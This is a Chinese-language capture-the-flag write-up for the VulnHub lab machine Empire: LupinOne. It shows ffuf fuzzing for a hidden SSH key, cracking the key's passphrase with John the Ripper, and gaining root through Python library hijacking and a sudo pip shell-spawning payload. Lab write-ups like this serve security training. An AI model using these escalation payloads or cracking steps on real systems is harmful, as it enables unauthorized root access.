vulnhub靶机-Empire: LupinOne
参考
https://resources.infosecinstitute.com/topic/empire-lupinone-vulnhub-ctf-walkthrough-part-1/
https://www.technoscience.site/2022/05/empire-lupinone-vulnhub-complete.html
工具
https://gtfobins.github.io/gtfobins/pip/
1.ffuf模糊测试
2.Python Library Hijacking (python库劫持)
3.pip特权升级
基本程序
1.确认靶机ip
2.确认开放端口
3.寻找可用端口,扫描目录,找到可用漏洞。
漏洞: Python Library Hijacking (python库劫持)
pip特权升级
4.尝试漏洞,后渗透
步骤
kali ip(192.168.47.128)
1.确认ip(192.168.47.133)
2.确认开放端口
开放了22端口(ssh),80端口
3.查看80端口,寻找可疑漏洞
扫描目录
python dirsearch.py -u http://192.168.47.133
查看,发现 /~myfiles文件
发现该文件404,很可疑
在旧版本的 Apache 服务器中,“ ~ ”波浪号用于表示用户的主目录。
查看页面源代码
我们使用模糊测试从这个案例中获得一些额外的信息。我们利用了ffuf并获得了一个目录(secret)
-
-c:着色输出,
-
-u:设置目标网址,
-
-w:设置Wordlist文件路径。
ffuf -c -u http://192.168.47.133/~FUZZ -w /usr/share/wordlists/dirb/common.txt
查看此目录
该页面包含机器的三个主要提示。
-
第一个提示是SSH 私钥有一个隐藏文件。
-
其次,我们有一个词汇表可以帮助我们破解 SSH 哈希。
-
最后,提示还谈到了最好的朋友,这可能是用户名。
因此,我们的首要任务是找出包含SSH密钥的隐藏文件。为了找到秘密的 SSH 私钥,我们再次在FFUF的帮助下使用模糊测试。
我们将在其中使用三个新参数。
-
-ic:忽略单词表注释。
-
-fc:从响应中 过滤HTTP状态代码。
-
-e:指定扩展名列表。
ffuf -c -ic -u http://192.168.47.133/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fc 403 -e .txt,.html
查看文件mysecret.txt(前面要加点)
http://192.168.47.133/~secret/.mysecret.txt
当我们在浏览器上打开文件时,它会将我们重定向到一个可能包含一些编码消息的新页面。我们需要弄清楚加密类型来解密实际的 SSH 密钥。
运用网络厨师,最后发现为base58加密
该字符串已成功解码,没有任何错误。我们已经确定了一个SSH 私钥,可用于在目标机器上 进行SSH 登录。
4.ssh连接
将此私钥放入任意文件
使用SSH2john来获取 SSH 密钥的哈希值
运行 john the ripper 来破解哈希值。
john --wordlist=/usr/share/wordlists/fasttrack.txt hash
得到密码P@55w0rd!
连接ssh
ssh -i sshkey icex64@192.168.47.133
得到用户权限flag
5.权限提升
执行sudo -l 查看当前用户权限和特权
正在运行的python脚本可能受到Python Library Hijacking 方法的攻击。
查看python脚本的内容
注意到
如果我们执行这个 python 脚本,它将调用 web 浏览器库并在浏览器界面上显示 URL。
如果我们注入 bash shell 脚本,然后再次执行程序以提升权限会怎样。
使用locate命令找出(webbrowser)库的位置
从输出中,我们获得了“webbrowser.py”的 Python 库的位置。
现在开始Python 库劫持程序。我们必须更改读取和写入权限,列出库的详细信息。
使用nano打开此库,添加脚本来调用root shell
os.system("/bin/bash")
执行此脚本,将用户切换到 arsene。
查看权限
在分析输出后,我们发现了一个新漏洞,可以帮助我们提升权限。称为PIP 特权升级。
将代码复制到命令行。进行提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
提权成功
得到root权限flag